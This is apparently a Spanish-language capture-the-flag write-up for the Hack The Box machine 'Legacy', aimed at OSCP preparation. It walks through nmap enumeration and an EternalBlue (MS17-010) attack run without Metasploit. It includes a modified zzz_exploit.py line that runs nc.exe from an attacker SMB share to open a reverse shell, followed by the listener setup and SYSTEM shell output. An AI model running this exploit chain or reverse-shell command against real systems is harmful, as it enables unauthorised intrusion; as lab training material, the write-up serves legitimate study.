
Legacy - Writeup
Legacy es una máquina Windows sencilla para aprender a realizar el Eternal Blue. En este writeup se explicará la forma de hacerlo sin usar Metasploit. De esta forma, los conocimientos que aprenderás en este writeup te servirán para aplicarlos en la OSCPen el caso de que esta vulnerabilidad caiga en tu examen.
Reconocimiento Link to Reconocimiento
Empezaremos escaneando los puertos abiertos de la máquina Legacy cuya IP es 10.10.10.4
con nmap.
12345678910111213141516
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.4 -oG allPorts
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
Initiating SYN Stealth Scan at 20:13
Scanning 10.10.10.4 [65535 ports]
Discovered open port 139/tcp on 10.10.10.4
Discovered open port 135/tcp on 10.10.10.4
Discovered open port 445/tcp on 10.10.10.4
Completed SYN Stealth Scan at 20:13, 20.93s elapsed (65535 total ports)
Nmap scan report for 10.10.10.4
Host is up (0.12s latency).
Not shown: 54890 closed tcp ports (reset), 10642 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Ahora enumeraremos los servicios que corren en estos puertos:
1234567891011121314151617181920212223242526
sudo nmap -sCV -p135,139,445 10.10.10.4 -oN targeted
Nmap scan report for 10.10.10.4
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2024-12-30T23:12:44+02:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 005056b0d970 (VMware)
|_clock-skew: mean: 5d00h57m43s, deviation: 1h24m51s, median: 4d23h57m43s
Como podemos observar, es una máquina Windows XP con el puerto 445 corriendo SMB. Debido a esto podemos sospechar de que puede ser vulnerable al Eternal Blue.
Para verificarlo usaremos una serie de scripts de enumeración de nmap:
12345678910111213141516171819202122
sudo nmap --script "vuln and safe" -p445 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.044s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Efectivamente es vulnerable a MS17-010, es decir, es vulnerable al Eternal Blue.
Explotación Link to Explotación
Para su explotación haré uso del repositorio de Github worawit/MS17-010: MS17-010. Haremos uso de dos scripts: checker.py
y zzz_exploit.py
. Aunque solo hagamos uso directo de estos dos scripts, recomiendo clonar el repositorio entero ya que estos hacen uso de algunos otros dentro de la misma carpeta como por ejemplo mysmb.py
.
Para explotar el Eternal Blue debemos de encontrar algo llamado los named pipes. Los pipes son una característica de los sistemas operativos para la comunicación y traspaso de información entre los procesos. El Eternal Blue los usa como vía de entrada para la explotación de la vulnerabilidad. Por ello, debemos saber por cuál named pipe debemos enviar el exploit.
Para determinar los named pipes usaremos el checker.py
:
12345678910
python checker.py 10.10.10.4
Target OS: Windows 5.1
The target is not patched
=== Testing named pipes ===
spoolss: Ok (32 bit)
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: Ok (32 bit)
Todos aquellos named pipes, que tenga un Ok
como respuesta son susceptibles al Eternal Blue. En este writeup se usará el named pipe de browser.
Una vez tenemos un named pipe, modificaremos el script zzz_exploit.py
para que entable una reverse shell con nuestra máquina de atacante usando un recurso que compartiremos por smb que será nc.exe
.
Pasaremos de esto:
1234567891011121314
def smb_pwn(conn, arch):
973 │ smbConn = conn.get_smbconnection()
974 │
975 │ print('creating file c:\\pwned.txt on the target')
976 │ tid2 = smbConn.connectTree('C$')
977 │ fid2 = smbConn.createFile(tid2, '/pwned.txt')
978 │ smbConn.closeFile(tid2, fid2)
979 │ smbConn.disconnectTree(tid2)
980 │
981 │ #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
982 │ #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
983 │ # Note: there are many methods to get shell over SMB admin session
984 │ # a simple method to get shell (but easily to be detected by AV) is
985 │ # executing binary generated by "msfvenom -f exe-service ..."
A esto:
1234567891011121314
def smb_pwn(conn, arch):
973 │ #smbConn = conn.get_smbconnection()
974 │
975 │ #print('creating file c:\\pwned.txt on the target')
976 │ #tid2 = smbConn.connectTree('C$')
977 │ #fid2 = smbConn.createFile(tid2, '/pwned.txt')
978 │ #smbConn.closeFile(tid2, fid2)
979 │ #smbConn.disconnectTree(tid2)
980 │
981 │ #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
982 │ service_exec(conn, r'cmd /c \\10.10.14.9\smbFolder\nc.exe -e cmd 10.10.14.9 443')
983 │ # Note: there are many methods to get shell over SMB admin session
984 │ # a simple method to get shell (but easily to be detected by AV) is
985 │ # executing binary generated by "msfvenom -f exe-service ..."
Cambiar la ip 10.10.14.9 por la que tengas como atacante.
Una vez modificado el script, nos pondremos en escucha con netcat por el puerto que hayamos establecido en zzz_exploit.py
, en mi caso 443.
1
sudo rlwrap nc -nlvp 443
Además tendremos que ponernos en escucha con smb para compartir el recurso de nc.exe.
Para encontrar el recurso nc.exe de tu Kali o ParrosOS usa:
updatedb && locate nc.exe
Nos ponemos en escucha:
123456789
sudo impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Y por último ejecutaremos el script:
12345678910111213141516171819202122232425262728
python zzz_exploit.py 10.10.10.4 browser
Target OS: Windows 5.1
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x8602abd8
SESSION: 0xe1116838
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe245cbd0
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe245cc70
overwriting token UserAndGroups
Opening SVCManager on 10.10.10.4.....
Creating service KPOX.....
Starting service KPOX.....
The NETBIOS connection with the remote host timed out.
Removing service KPOX.....
ServiceExec Error on: 10.10.10.4
nca_s_proto_error
Done
En la consola donde se ejecutaba el smb se deberán de haber añadido las siguientes líneas:
1234
[*] Incoming connection (10.10.10.4,1036)
[*] AUTHENTICATE_MESSAGE (\,LEGACY)
[*] User LEGACY\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
Y en la consola donde estabamos en escucha, deberíamos de tener acceso a la máquina:
1234567
sudo rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.4] 1038
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Una vez dentro, podemos acceder a la flag user.txt:
12345678910111213141516
C:\Documents and Settings\john\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\Documents and Settings\john\Desktop
16/03/2017 08:19 �� <DIR> .
16/03/2017 08:19 �� <DIR> ..
16/03/2017 08:19 �� 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 6.403.887.104 bytes free
C:\Documents and Settings\john\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Y también sin necesidad de escalar privilegios podemos acceder a la flag root.txt:
12345678910111213141516
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\Documents and Settings\Administrator\Desktop
16/03/2017 08:18 �� <DIR> .
16/03/2017 08:18 �� <DIR> ..
16/03/2017 08:18 �� 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 6.403.874.816 bytes free
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Con esto concluye la máquina Legacy. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.
Legacy - Writeup
© Gh3rmy | CC BY-SA 4.0